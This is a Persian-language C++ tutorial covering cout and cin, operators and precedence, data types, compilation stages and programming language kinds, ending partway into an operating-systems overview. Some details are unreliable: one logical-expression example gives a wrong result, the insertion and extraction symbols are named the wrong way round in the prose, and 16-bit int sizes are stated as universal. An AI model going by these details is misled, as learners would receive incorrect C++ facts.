برای دريافت اطلاعات از صفحه کليد ، زبان ++C دستوری به نام cin را در اختيار ما قرار داده است، و برای ارسال اطلاعات به صفحه نمايش دستور cout موجود می باشد. توسط اين دو دستور شما می توانيد با نمايش اطلاعات بر روی صفحه نمايش و دريافت اطلاعات از صفحه کليد با کاربری که از برنامه شما استفاده می کند، در ارتباط باشيد.
دستور cout همراه علامت >> به کار می رود.
cout << "This is a test";
دستور فوق عبارت This is a test را بر روی صفحه نمايش چاپ می کند.
cout << 5120;
دستور فوق عدد 5120 را بر روی صفحه نمايش ظاهر می سازد.
cout << x;
دستور فوق محتويات متغير x را به صفحه نمايش می فرستد.
علامت >> با نام عملگر درج شناخته می شود و اطلاعاتی که بعد از اين علامت قرار می گيرند به واحد خروجی منتقل می شوند. در مثال های فوق يک عبارت رشته ای (This is a test) يک عدد (5120) و يک متغير (x) به واحد خروجی ارسال شدند. توجه داشته باشيد که در اولين مثال عبارت This is a test بين دو علامت (") قرار گرفت ، چون اين عبارت حاوی رشته ای از حروف می باشد؛ هرگاه که بخواهيم رشته ای از حروف را به کار ببريم بايد آنها را بين دو علامت (") قرار دهيم تا با نام متغيرها به اشتباه گرفته نشوند. به عنوان مثال، دستور زير:
cout << " Hello";
عبارت Hello را بر روی صفحه نمايش ظاهر می سازد ولی دستور زير:
cout << Hello;
محتويات متغيری با نام Hello را بر روی صفحه نمايش چاپ می کند.
عملگر درج ممکن است بيش از يک بار در يک جمله به کار رود، به عنوان مثال دستور زير:
cout << "Hello," << "I am" << "new in C++";
پيغام ++Hello, I am new in C را بر روی صفحه نمايش نشان می دهد.
تکرار استفاده از عملگر درج در يک دستور به ما اين امکان را می دهد که ترکيبی از متغير و رشته حروف را در کنار هم استفاده کنيم.
cout << "Hello, my code is" << code
<< "and I am" << age << "years old.";
به عنوان مثال دستور فوق با فرض اينکه متغير code حاوی عدد 116223 و متغير age حاوی عدد 16 باشد عبارت زير را در صفحه نمايش ظاهر می سازد:
Hello, my code is 116223 and I am 16 years old.
توجه داشته باشيد که دستور cout عبارات را به صورت خودکار به خط بعد منتقل نمی کند، به عنوان مثال دستورهای زير:
cout << "This is a text.";
cout << "This is another text.";
علارقم اينکه از دستور cout در دو خط استفاده شده است، به صورت زير در صفحه نمايش نشان داده خواهد شد:
This is a text. This is another text.
برای اينکه عبارتی را در چند خط نمايش دهيم، برای انتقال به هر خط جديد از علامت n\ استفاده می کنيم. به عنوان مثال دستورات زير:
cout << "First sentence.\n";
cout << "Second sentence.\n Third sentence.";
به شکل زير در صفحه نمايش ديده خواهد شد:
First sentence.
Second sentence.
Third sentence.
علاوه بر علامت n\ می توان از دستور endl برای انتقال به خط جديد استفاده کرد به عنوان مثال دستورات :
cout << "First sentence." << endl;
cout << "Second sentence." << endl;
در صفحه نمايش به صورت زير ديده می شوند:
First sentence.
Second sentence.
دستور cin همراه علامت << به کار می رود.
int age;
cin >> age;
دستورات فوق ابتدا فضايی در حافظه برای متغير age در نظر می گيرند، سپس برنامه منتظر وارد کردن عددی از صفحه کليد می ماند تا عدد وارد شده را در متغير age قرار دهد. cin هنگامی قادر به دريافت اطلاعت از صفحه کليد خواهد بود که، کليد Enter بر روی صفحه کليد فشرده شود. به عنوان مثال اگر بخواهيم عدد 16 در متغير age قرار گيرد ابتدا عدد 16 را تايپ کرده سپس دکمه Enter را فشار می دهيم.
علامت >> با نام عملگر استخراج شناخته می شود، و اطلاعاتی که از واحد ورودی دريافت می شود در متغيری که بعد از اين علامت می باشد، قرار می گيرند. ضمناً شما می توانيد توسط يک دستور cin بيش از يک متغير را مقدار دهی کنيد.
به عنوان مثال دستورات زير معادل يکديگر می باشند:
cin >> a >> b;
cin >> a;
cin >> b;
نظرات ()يک عبارت منطقی، عبارتی است با مقدار درست يا نادرست. به عنوان مثال 5 بزرگتر از 3 است، يک عبارت منطقی است با مقدار درست و 5 کوچکتر از 3 است، نيز يک عبارت منطقی است اما با مقدار نادرست. در کامپيوتر نتيجه عبارات منطقی درست عدد يک و نتيجه عبارات منطقی نادرست عدد صفر خواهد بود.
ضمناً کامپيوتر هر عدد مخالف صفر را به عنوان يک عبارت منطقی درست در نظر می گيرد.
برای مقايسه دو متغير يا دو عبارت از عملگرهای رابطه ای استفاده می کنيم که همانطور که گفته شد دارای نتيجه درست يا نادرست می باشد. عملگرهای رابطه ای عبارتند از ==( مساوی )، =!( متفاوت )، <(بزرگتر از )، >( کوچکتر از )، =<( بزرگتر مساوی از )، =>( کوچکتر مساوی از ). به مثال های زير توجه کنيد.
ضمناً به جای اينکه فقط از اعداد در عبارتهای رابطه ای استفاده کنيم می توانيم از عبارتهايی شامل متغيرها و يا ترکيبی از متغيرها و اعداد استفاده کنيم به عنوان مثال فرض کنيد a = 2 و b=3 و c=6 خواهيم داشت:
(a==5) -----> نادرست
(a*b>=c) -----> درست
(b+4<a*c)) -----> نادرست
((b=2)==a)) -----> درست
توجه کنيد که عملگر = همانند عملگر == نمی باشد. اولی عملگر انتساب است که مقدار سمت راست را در متغير سمت چپ قرار می دهد و ديگری عملگر رابطه ای است که برابر بودن يا نبودن دو مقدار را با هم مقايسه می کند. بنابراين در عبارت ((b=2)==a)) ما ابتدا مقدار 2 را در متغير b قرار داديم سپس آن را با a مقايسه کرديم، لذا نتيجه اين مقايسه درست بود.
عملگرهای منطقی عبارتند از ! ، || و && . نتيجه عملگر ! (NOT) وقتی درست است که عبارتی که اين عملگر بر روی آن عمل می کند نادرست باشد و نتيجه هنگامی نادرست است که عملوند آن درست باشد. ضمناً اين عملگر تنها يک عملوند دارد. در حقيقت اين عملگر نقيض عملوند خود را به عنوان نتيجه می دهد.
به مثال های زير توجه کنيد:
!(5 == 5) ----> نادرست
!(6 <= 4) ----> درست
!0 ----> درست
!1 ----> نادرست
عملگرهای &&(AND) و ||(OR) هنگامی مورد استفاده قرار می گيرند که بخواهيم از دو عبارت يک نتيجه را بدست آوريم. نتيجه اين عملگرها بستگی به ارتباط بين دو عملوندشان طبق جدول زير دارد:
| عملوند اول b |
عملوند دوم a |
نتيجه a&&b |
نتيجه a||b |
| درست | درست | درست | درست |
| درست | نادرست | نادرست | درست |
| نادرست | درست | نادرست | درست |
| نادرست | نادرست | نادرست | نادرست |
به مثال های زير توجه نمائيد:
((5==5)&&(3>6)) -----> نادرست
((5==5)||(3>6)) -----> درست
((3-3)&&(3<5)) -----> نادرست
((3-3)||(3<5)) -----> درست
در مثال های زير به جای اعداد از متغير نيز استفاده شده است ( فرض کنيد a=1 و b=2 وc=3)
((b-2*a)&&(c==3)) -----> نادرست
((b==2*a)&&(c!=4)) -----> نادرست
((c==a+b)||(b<a)) -----> درست
((b-c==-a)||(b-c==a)) -----> درست
اين عملگر يک عبارت را مورد ارزيابی قرار می دهد و براساس عبارت ارزيابی شده مقادير متفاوتی را به عنوان نتيجه بر می گرداند. ساختار اين عملگر به صورت زير می باشد:
نتيجه 2 : نتيجه 1 ? شرط
اگر شرط برقرار باشد نتيجه 1 به عنوان خروجی خواهد بود در غير اين صورت نتيجه 2 به عنوان خروجی در نظر گرفته می شود. به مثال های زير توجه نماييد:
7==6?4:3 --->خروجی عدد3 می باشد چون7 مساوی 6 نمی باشد
8==6+2?4:3 --->خروجی عدد4 می باشد چون8 مساوی 6+2می باشد
6>3?a:b --->خروجی a می باشد چون 6 از 3 بزرگتر است
a>b?a:b --->خروجی عدد بزرگتر می باشد a يا b
همانطور که در عملگرهای محاسباتی ديديم درک تقدم عملگرها، اهميت ويژه ای داشت در اينجا نيز دانستن اين تقدم از اهميت خاصی برخوردار می باشد، تقدم عملگرهای رابطه ای ، منطقی و شرطی به ترتيب عبارتند از:
1- !
2- => > =< <
3- =! ==
4- &&
5-
||
6- :?
به عنوان مثال مراحل بررسی عبارت مقابل به صورت زير می باشد:
2 >= 3 && 2 == 2 || 2 != 3
1 4 2 5 3
1 نادرست
2 درست
3 درست
4 نادرست && درست ----> نادرست
5 نادرست || درست ----> درست
جواب نهايی درست می باشد
پيشنهاد می شود برای جلوگيری از پيچيدگی فهم عبارتهای منطقی و يا محاسباتی تقدم های مورد نظر را با به کار بردن پرانتز کاملاً مشخص کنيم ، به عنوان مثال عبارت فوق را به صورت زير مورد استفاده قرار دهيم:
(((2 >= 3) && (2 == 2)) || (2 != 3))
نظرات ()در مبحث حافظه با انواع داده و شيوه اختصاص دادن حافظه به متغيرها آشنا شديم حال می توانيم متغيرها را در محاسبات به کار ببريم. برای نيل به اين هدف ++C عملگرهايی را در اختيار ما قرار داده است.
عملگر تساوی جهت اختصاص دادن يک مقدار به يک متغير به کار می رود ، مانند a = 5 که عدد 5 را به متغير a تخصيص می دهد. جزئی که در سمت چپ تساوی قرار دارد همواره بايد نام يک متغير باشد، وجزء سمت راست تساوی می تواند يک عدد، يک متغير و يا ترکيبی از هر دو باشد. مانند: a=b+5 ، که در ايجا حاصل b + 5 در متغير a قرار می گيرد. توجه داشته باشيد که همواره مقدار سمت راست تساوی در مقدار سمت چپ قرار می گيرد. به دستورات زير توجه کنيد.
int a,b;
a = 10;
b = 4;
a = b;
b = 7;
اگر از دستورات فوق استفاده کنيم در نهايت مقدار a برابر 4 و مقدار b برابر 7 خواهد بود. ++C قابليتهای زيادی دارد يکی از اين قابليتها اينست که می توانيم چند دستور را در يک دستور خلاصه کنيم ، به عنوان مثال دستور :
a = 2 + (b = 5);
برابر است با:
b = 5;
a = 2 + b;
که هر دو عبارت در نهايت عدد 7 را در متغير a قرار می دهند.
ضمناً استفاده از عبارت زير نيز در ++C مجاز می باشد:
a = b = c = 5
عبارت فوق عدد 5 را به سه متغير a و b و c اختصاص می دهد.
پنج عملگر محاسباتی که قابل استفاده در زبان ++C هستند عبارتند از:
+ جمع
- تفريق
* ضرب
/ تقسيم
%
باقيمانده تقسيم
تنها عملگری که ممکن است برای شما ناشناس باشد عملگر % است. اين عملگر باقيمانده تقسيم دو عدد صحيح را به ما می دهد، به عنوان مثال اگر از دستور زير استفاده کنيم:
a = 11 % 3;
متغير a حاوی عدد 2 خواهد شد. چون عدد 2 باقيمانده تقسيم 11 بر 3 می باشد.
عملگرهای انتسال مرکب عبارتند از =+ ، =- ، =* ، =/ ، =% .اين عملگرها دو کار را با هم انجام می دهند و در کم شدن کد نويسی به ما کمک می کنند، به جای توضيح اضافی به مثال های زير که فهم مطلب را ساده تر می کند توجه کنيد:
value += increase;«برابر است با»value=value+increase;
a -= 5; «برابر است با»a = a - 5;
a /= b; «برابر است با»a = a / b;
price*=units+1; «برابر است با»price=price*(units+1);
x %= y * z; «برابر است با»x = x % (y * z);
گونه ای ديگر از عملگرها که در کم شدن کد نويسی به ما کمک می کنند عملگر افزايش(++) و عملگر کاهش(--) می باشند. عملگر افزايش(++) يک واحد به مقدار قبلی که در متغير بود اضافه می کند و عملگر کاهش(--) يک واحد از مقدار قبلی که در متغير بود کم می کند.
++a; a++; a += 1; a = a + 1;
هر چهار دستور فوق يک واحد به مقدار قبلی متغير اضافه می کنند.
--a; a--; a -= 1; a = a - 1;
هر چهار دستور فوق يک واحد از مقدار قبلی متغير کم می کنند.
اگر از دستورات ++a و a++ به تنهايی استفاده کنيم فرقی ندارد که ++ قبل از متغير قرار گيرد يا بعد از متغير. اما اگر از ++ در کنار عملگرهای ديگر استفاده شود، اگر ++ قبل از متغير قرار گيرد ابتدا يک واحد به متغير اضافه شده سپس در محاسبه استفاده می شود، ولی اگر ++ بعد از متغير قرار گيرد ابتدا متغير در محاسبه استفاده می شود سپس يک واحد به آن اضافه می شود. همين روال برای عملگر -- نيز برقرار است. به مثال های زير توجه کنيد:
| b = 3; a = ++b; |
b = 3; a = b++; |
در مثال سمت چپ ابتدا يک واحد به b اضافه می شود، يعنی b مقدار 4 را می گيرد سپس عدد 4 در a قرار می گيرد؛ اما در مثال سمت راست ابتدا مقدار b يعنی عدد 3 در a قرار می گيرد سپس يک واحد به b اضافه می شود و مقدار 4 را می گيرد.
در اين مثال عدد 6 در m قرار می گيرد:
a = 2;
b = 3;
m = ++a + b--;
b مقدار 2 و a مقدار 3 را می گيرد.
حال که با انواع عملگرهای محاسباتی آشنا شديد عبارت زير را در نظر بگيريد.
y = 5 * 3 + 2 - 1 * 3 / 2;
مقداری که در y قرار می گيرد چه عددی می تواند باشد؟ 30 يا 24 يا 15.5 يا 17.5 . نظر شما چيست؟ شما مقدار y را چگونه حساب می کنيد؟
کامپيوتر برای بررسی و محاسبه چنين عبارتی برای اينکه با چندين جواب مواجه نشود قواعدی را در نظر می گيرد و طبق قوانين تقدم عملگرها عمل می کند. اين قوانين که مشابه قوانين جبر می باشند به ترتيب عبارتند از:
1- عملگرهايی که درون پرانتز قرار دارند اول محاسبه می شوند. در صورتی که پرانتزها تودرتو باشند ابتدا داخلی ترين پرانتز مورد بررسی و محاسبه قرار می گيرد.
2- اگر عبارتی حاوی * ، / و % باشد پس از پرانتز اين عملگرها در اولويت قرار دارند. اگر عبارتی حاوی ترکيبی از اين عملگرها باشد چون اين عملگرها در تقدم يکسانی نسبت به يکديگر قرار دارند، محاسبه به ترتيب از چپ به راست انجام می شود.
3- اعمال + و - در انتها انجام می شوند. اگر عبارتی شامل ترکيبی از اين دو عملگر باشد چون اين دو عملگر در تقدم يکسانی نسبت به هم هستند، محاسبه به ترتيب از چپ به راست انجام می شود.
با توجه به قواعد گفته شده حاصل عبارت فوق عدد 15.5 خواهد بود.
نظرات ()همانطور که در سازمان کامپيوتر گفتيم يکی از واحدهای کامپيوتر، واحد حافظه می باشد.

اين واحد که به آن RAM ( حافظه با دسترسی تصادفی Random Access Memory) نيز می گويند، برای ذخيره موقت داده ها و دستورالعملها تا هنگامی که به آنها احتياج شود استفاده می شود. اطلاعاتی که در RAM قرار دارند قابل پاک شدن و جايگزين شدن با داده های ديگر است. فضايی که ما در برنامه نويسی برای متغيرها و داده ها استفاده می کنيم در RAM قرار دارد. برای درک بهتر مطلب ، واحدهای اندازه گيری حافظه را بررسی می کنيم:
Bit بيت: يک بيت عنصری الکترونيکی در کامپيوتر است که دارای دو حالت روشن (1) و خاموش(0) می باشد و کوچکترين واحد اطلاعاتی است.
Byte بايت: چون بيتها واحدهای اطلاعاتی کوچکی هستند و فقط می توانند دو حالت را انتقال دهند، بنابراين آنها را در واحدهای بزرگتری سازماندهی می کنند تا اطلاعات بيشتری هر بار قابل انتقال باشد. اين واحد بزرگتر بايت است که واحد اصلی اطلاعات در سيستمهای کامپيوتری می باشد. هر 8 بيت ، يک بايت را تشکيل می دهند.
از واحدهای زير برای اندازه گيری حافظه استفاده می شود:
يک کيلو بايت 1 KB = 1024 B = 210 B
يک مگا بايت 1 MB = 1024 KB = 220 B
يک گيگا بايت 1 GB = 1024 MB = 230 B
ما در برنامه نويسی نياز به خانه های حافظه داريم. در تعريف خانه حافظه بايد نام و نوع اطلاعاتی که در آن قرار می گيرد معين شود.
نام متغيير نوع داده ;
int i1,i2,index;
دستور فوق سه خانه حافظه با نامهای i1 وi2 وindex از نوع اعداد صحيح تعيين می کند، يعنی در هر کدام از خانه های حافظه فوق می توان يک عدد صحيح در بازه 32767 تا 32768- قرار داد. نوع داده int به دو بايت حافظه نياز دارد.
نکته :| asm | auto | break | case | cdecl | char |
| class | const | continue | _cs | default | delete |
| do | double | _ds | else | enum | _es |
| extern | _export | far | _fastcall | float | for |
| friend | goto | huge | if | inline | int |
| interrupt | _loadds | long | near | new | operator |
| pascal | private | protected | public | register | return |
| _saveregs | _seg | short | signed | sizeof | _ss |
| static | struct | switch | template | this | typedef |
| union | unsigned | virtual | void | volatile | while |
در زبان ++C چهار نوع داده اصلی وجود دارد که عبارتند از :
1- char : اين نوع داده برای ذخيره داده های کاراکتری مانند 'a' ، '1' ، '.' به کار می رود و بازه قابل قبول آن از 128- تا 127 می باشد. در حقيقت خانه های char نيز از نوع اعداد صحيح می باشند که يک بايت طول دارند و کد اسکی کاراکتر مورد نظر را در خود حفظ می کنند. به عنوان مثال کد اسکی کاراکتر A عدد 65 می باشد.
2- int : اين نوع داده برای ذخيره اعداد صحيح مانند 1300، 32000 ، 850- به کار می رود و بازه قابل قبول آن 32768- تا 32767 می باشد.
3- float : اين نوع داده برای ذخيره اعداد اعشاری مانند 12.5241 ، 1501.3- ، 1415.1234 به کار می رود و دقت آن تا 7 رقم اعشاری می باشد.
4- double : اين نوع داده برای ذخيره سازی اعداد اعشاری بزرگ به کار می رود و دقت آن از float بيشتر می باشد.
باکلماتی مانند signed ( علامت دار) ، unsigned ( بدون علامت)، short (کوتاه) و long ( بلند) انواع داده های جديدی می توان ايجاد کرد. نوع int با هر چهار کلمه فوق می تواند مورد استفاده قرار گيرد. نوع char می تواند با signed و unsigned به کار رود و نوع double می تواند با long به کار رود. به جدول زير توجه کنيد:
| نوع داده | طول داده | بازه |
| unsigned char | 8 bits | 0 to 255 |
| char | 8 bits | -128 to 127 |
| enum | 16 bits | -32,768 to 32,767 |
| unsigned int | 16 bits | 0 to 65,535 |
| short int | 16 bits | -32,768 to 32,767 |
| int | 16 bits | -32,768 to 32,767 |
| unsigned long | 32 bits | 0 to 4,294,967,295 |
| long | 32 bits | -2,147,483,648 to 2,147,483,647 |
| float | 32 bits | 3.4 * (10**-38) to 3.4 * (10**+38) |
| double | 64 bits | 1.7 * (10**-308) to 1.7 * (10**+308) |
| long double | 80 bits | 3.4 * (10**-4932) to 1.1 * (10**+4932) |
نظرات ()++C عموماً از سه بخش تشکيل شده است:
- محيطی برای نوشتن برنامه و ويرايش آن.
- کامپايلر ++C.
-
کتابخانه استاندارد ++C.
يک برنامه زبان ++C برای رسيدن به مرحله اجرا از شش مرحله عبور می کند.
مرحله اول : برنامه نويس، برنامه را در محيط ويرايشگر می نويسد و آن را بر روی ديسک ذخيره می کند.
مرحله دوم : برنامه پيش پردازنده، خطوط برنامه را از لحاظ ايردات نگارشی بررسی می کند، و در صورت وجود اشکال در برنامه پيغام خطائی داده می شود، تا برنامه نويس نسبت به رفع آن اقدام نمايد.
مرحله سوم : کامپايلر، برنامه را به زبان ماشين ترجمه می کند و آن را بر روی ديسک ذخيره می نمايد.
مرحله چهارم : پيوند دهنده، کدهای زبان ماشين را، به فايلهای کتابخانه هايی که مورد استفاده قرار گرفته اند پيوند می دهد و يک فايل قابل اجرا بر روی ديسک می سازد.
مرحله پنجم : بار کننده برنامه را در حافظه قرار می دهد.
مرحله ششم : واحد پردازش مرکزی کامپيوتر دستورات برنامه را اجرا می کند.

نکته : همانطور که گفته شد پيش پردازنده ايرادات برنامه را بررسی می کند و در صورتی که برنامه مشکلی نداشت در نهايت به زبان ماشين ترجمه می شود و قابليت اجرا پيدا می کند اما در هنگام اجرای برنامه نيز ممکن است خطايی بروز کند به عنوان مثال تقسيم بر صفر بوجود آيد. اين خطا قابل تشخيص توسط پيش پردازنده نيست و در زمان اجرای برنامه رخ می دهد و باعث خروج ناگهانی از برنامه می شود. به اينگونه خطاها، خطای زمان اجرا گفته می شود. تقسيم بر صفر جزء خطاهای مهلک است. خطای غير مهلک خطايی است که اجازه اجرای ادامه برنامه را می دهد ولی ممکن است نتايج غير صحيحی را به ما بدهد.
نظرات ()برنامه نويسان دستورات برنامه نويسی را به زبانهای مختلفی می نويسند. بعضی دستورات مستقيماً برای کامپيوتر قابل فهم می باشند و بعضی نياز به ترجمه دارند. به طور کلی زبانهای برنامه نويسی به سه دسته تقسيم می شوند:
1- زبانهای ماشين
2- زبانهای اسمبلی
3- زبانهای سطح
بالا
هر کامپيوتر زبان ماشين مربوط به خود را دارد که اين زبان بستگی به سخت افزار آن کامپيوتر دارد. زبان ماشين به سختی برای انسان قابل فهم می باشد. به عنوان مثال دستورات زير دو متغيير را با يکديگر جمع کرده و حاصل را در متغيير سومی قرار می دهد.
+1200274027
با عمومی تر شدن کامپيوتر، زبان ماشين به دليل مشکل بودن فهم دستورات آن و دشوار بودن خطا يابی جای خود را به زبان ديگری به نام زبان اسمبلی داد. اين زبان به جای استفاده از اعداد از کلمات انگليسی که قابل فهمتر برای انسان می باشند استفاده می کند. برنامه مترجمی که دستورات اسمبلی را به زبان قابل فهم توسط کامپيوتر( زبان ماشين) تبديل می کند، اسمبلر می گويند. دستورات زير نيز دو متغيير را با يکديگر جمع کرده و حاصل را در متغيير سومی قرار می دهد.
LOAD BASEPAY
ADD OVERPAY
STORE GROSSPAY
با گسترش و پيشرفت کامپيوتر زبان اسمبلی نيز به دليل کند بودن روند برنامه نويسی و دشوار بودن خطا يابی جای خود را به زبانهای سطح بالا داد؛ زبانهای سطح بالا زبانهايی هستند که در ساختار آنها از کلمات، علايم و نمادهای متداول در محاوره استفاده شده است. برنامه های نوشته شده با اين زبانها قبل از اجرا نياز به ترجمه و تفسير دارند تا قابل استفاده توسط کامپيوتر گردند، که اين امر توسط نرم افزارهای ويژه ای به نام کامپايلر انجام می گيرد. کار کردن با اين زبانها ساده است و خطايابی آنها به سهولت انجام می گيرد. از معروفترين زبانهای سطح بالا به پاسکال، C ، بيسيک و ... می توان اشاره کرد. دستورات زير نيز دو متغير را با يکديگر جمع کرده و حاصل را در متغيرسوم قرار می دهد.
grosspay = basepay + overtimepay
نظرات ()
نظرات ()
نظرات ()
نظرات ()| نرم افزار |
|
سيستم عامل |
|
سيستم عامل بدون شک مهمترين نرم افزار در کامپيوتر است . پس از روشن کردن کامپيوتر اولين نرم افزاری که مشاهده می گردد سيستم عامل بوده و آخرين نرم افزاری که قبل از خاموش کردن کامپيوتر مشاهده خواهد شد، نيز سيستم عامل است . سيستم عامل نرم افزاری است که امکان اجرای تمامی برنامه های کامپيوتری را فراهم می آورد. سيستم عامل با سازماندهی ، مديريت و کنترل منابع سخت افزاری امکان استفاده بهينه و هدفمند آنها را فراهم می آورد. سيتم عامل فلسفه بودن سخت افزار را بدرستی تفسير و در اين راستا امکانات متعدد و ضروری جهت حيات ساير برنامه های کامپيوتری را فراهم می آورد. تمام کامپيوترها از سيستم عامل استفاده نمی نمايند. مثلا" اجاق های مايکرويو که در آشپزخانه استفاده شده دارای نوع خاصی از کامپيوتر بوده که از سيستم عامل استفاده نمی نمايند. در اين نوع سيستم ها بدليل انجام عمليات محدود و ساده، نيازی به وجود سيستم عامل نخواهد بود. اطلاعات ورودی و خروجی با استفاده از دستگاههائی نظير صفحه کليد و نمايشگرهای LCD ، در اختيار سيستم گذاشته می گردند. ماهيت عمليات انجام شده در يک اجاق گاز مايکروويو بسيار محدود و مختصر است، بنابراين همواره يک برنامه در تمام حالات و اوقات اجراء خواهد شد. برای سيستم های کامپيوتری که دارای عملکردی بمراتب پيچيده تر از اجاق گاز مايکروويو می باشند، بخدمت گرفتن يک سيستم عامل باعث افزايش کارآئی سيستم و تسهيل در امر پياده سازی برنامه های کامپيوتری می گردد. تمام کامپيوترهای شخصی دارای سيستم عامل می باشند. ويندوز يکی از متداولترين سيستم های عامل است . يونيکس يکی ديگر از سيستم های عامل مهم در اين زمينه است . صدها نوع سيستم عامل تاکنون با توجه به اهداف متفاوت طراحی و عرضه شده است. سيستم های عامل مختص کامپيوترهای بزرگ، سيستم های روبوتيک، سيستم های کنترلی بلادرنگ ، نمونه هائی در اين زمينه می باشند. سيستم عامل با ساده ترين تحليل و بررسی دو عمليات اساسی را در کامپيوتر انجام می دهد : - مديريت منابع نرم افزاری و سخت افزاری يک سِستم کامپيوتری را برعهده دارد. پردازنده ، حافظه، فضای ذخيره سازی نمونه هائی از منابع اشاره شده می باشند . - روشی پايدار و يکسان برای دستيابی و استفاده از سخت افزار را بدو ن نياز از جزئيات عملکرد هر يک از سخت افزارهای موجود را برای برنامه های کامپيوتری فراهم می نمايد اولين وظيفه يک سيستم عامل، مديريت منابع سخت افزاری و نرم افزاری است . برنامه های متفاوت برای دستيابی به منابع سخت افزاری نظير: پردازنده ، حافظه، دستگاههای ورودی و خروجی، حافطه های جانبی، در رقابتی سخت شرکت خواهند کرد. سيستم های عامل بعنوان يک مدير عادل و مطمئن زمينه استفاده بهينه از منابع موجود را برای هر يک از برنامه های کامپيوتری فراهم می نمايند. وظيفه دوم يک سيستم عامل ارائه يک رابط ( اينترفيس ) يکسان برای ساير برنامه های کامپيوتری است . در اين حالت زمينه استفاده بيش از يک نوع کامپيوتر از سيستم عامل فراهم شده و در صورت بروز تغييرات در سخت افزار سيستم های کامپيوتری نگرانی خاصی از جهت اجرای برنامه وجود نخواهد داشت، چراکه سيستم عامل بعنوان ميانجی بين برنامه های کامپيوتری و سخت افزار ايفای وظيفه کرده و مسئوليت مديريت منابع سخت افزاری به وی سپرده شده است .برنامه نويسان کامپيوتر نيز با استفاده از نقش سيستم عامل بعنوان يک ميانجی براحتی برنامه های خود را طراحی و پياده سازی کرده و در رابطه با اجرای برنامه های نوشته شده بر روی ساير کامپيوترهای مشابه نگرانی نخواهند داشت . ( حتی اگر ميزان حافظه موجود در دو کامپيوتر مشابه نباشد ) . در صورتيکه سخت افزار يک کامپيوتر بهبود و ارتقاء يابد، سيستم عامل اين تضمين را ايجاد خواهد کرد که برنامه ها، در ادامه بدون بروز اشکال قادر به ادامه حيات وسرويس دهی خود باشند. مسئوليت مديريت منابع سخت افزاری برعهده سيتم عامل خواهد بود نه برنامه های کامپيوتری، بنابراين در زمان ارتقای سخت افزار يک کامپيوتر مسئوليت سيتستم عامل در اين راستا اولويت خواهد داشت . ويندوز 98 يکی از بهترين نمونه ها در اين زمينه است . سيستم عامل فوق بر روی سخت افزارهای متعدد توليد شده توسط توليدکنندگان متفاوت اجراء می گردد. ويندوز 98 قادر به مديريت و استفاده از هزاران نوع چاپگر ديسک و ساير تجهيزات جانبی است . سيستم های عامل را از بعد نوع کامپيوترهائی که قادر به کنترل آنها بوده و نوع برنامه های کاربردی که قادر به حمايت از آنها می باشند به چهار گروه عمده تقسيم می نمايند. - سيستم عامل بلادرنگ (RTOS). از اين نوع سيستم های عامل برای کنترل ماشين آلات صنعتی ، تجهيزات علمی و سيستم های صنعتی استفاده می گردد. يک سيستم عامل بلادرنگ دارای امکانات محدود در رابطه با بخش رابط کاربر و برنامه های کاربردی مختص کاربران می باشند. يکی از بخش های مهم اين نوع سيستم های عامل ، مديريت منابع موجود کامپيوتری بگونه ای است که يک عمليات خاص در زمانی که می بايست ، اجراء خواهند شد. - تک کاربره - تک کاره . همانگونه که از عنوان اين نوع سيستم های عامل مشخص است، آنها بگونه ای طراحی شده اند که قادر به مديريت کامپيوتر بصورتی باشند که يک کاربر در هر لحظه قادر به انجام يک کار باشد. سيستم عامل Palm OS برای کامپيوترهای PDA نمونه ای مناسب از يک سيستم عامل مدرن تک کاربره و تک کاره است . - تک کاربره - چندکاره . اکثر سيستم های عامل استفاده شده در کامپيوترهای شخصی از اين نوع می باشند. ويندوز 98 و MacOS نمونه هائی در اين زمينه بوده که امکان اجرای چندين برنامه بطور همزمان را برای يک کاربر فراهم می نمايند. مثلا" يک کاربر ويندوز 98 قادر به تايپ يک نامه با استفاده از يک واژه پرداز بوده و در همان زمان اقدام به دريافت يک فايل از اينترنت نموده و در همان وضعيت محتويات نامه الکترونيکی خود را برای چاپ بر روی چاپگر ارسال کرده باشد. - چندکاربره . يک سيستم عامل چند کاربره ، امکان استفاده همزمان چندين کاربر از منابع موجود کامپيوتر را فراهم می آورند. منابع مورد نياز هر يک از کاربران می بايست توسط سيستم عامل بدرستی مديريت تا در صورت بروز اشکال در منابع تخصيص يافته به يک کاربر، بر روند استفاده ساير کاربران از منابع مورد نظر اختلالی ايجاد نگردد. يونيکس، VMS و سيستم های عامل کامپيوترهای بزرگ نظير MVS نمونه هائی از سيستم های عامل چندکاربره می باشند. در اينجا لازم است که به تفاوت های موجود سيستم های عامل " چند کاربر " و " تک کاربر" در رابطه با امکانات شبکه ای اشاره گردد. ويندوز 2000 و ناول قادر به حمايت از صدها و هزاران کاربر شبکه می باشند اين نوع سيستم های عامل بعنوان سيستم عامل چند کاربره واقعی در نظر گرفته نمی شوند. در ادامه با توجه به شناخت مناسب بوجود آمده در دررابطه با انواع سيستم های عامل به عمليات و وظايف سيستم عامل اشاره می گردد. وظايف سيستم عامل پس از روشن نمودن کامپيوتر، لولين برنامه ای که اجراء می گردد ، مجموعه دستوراتی می باشند که در حافظه ROM ذخيره و مسئول بررسی صحت عملکرد امکانات سخت افزاری موجود می باشند. برنامه فوق (POST) ، پردازنده ، حافظه و ساير عناصر سخت افزاری را بررسی خواهد کرد . پس از بررسی موفقيت آميز برنامه POST ، در ادامه درايوهای ( هارد ، فلاپی ) سيستم فعال خواهند شد. در اکثر کامپيوترها ، پس از فعال شدن هارد ديسک ، اولين بخش سيستم عامل با نام Bootstrap Loader فعال خواهد شد. برنامه فوق صرفا" دارای يک وظيفه اساسی است : انتقال ( استقرار ) سيستم عامل در حافظه اصلی و امکان اجرای آن . برنامه فوق عمليات متفاوتی را بمنظور استفرار سيستم عامل در حافظه انجام خواهد داد. سيستم عامل دارای وظايف زير است :
وظايف شش گانه فوق ، هسته عمليات در اکثر سيستم های عامل است . در ادامه به تشريح وظايف فوق اشاره می گردد : مديريت پردازنده مديريت پردازنده دو وظيفه مهم اوليه زير را دارد :
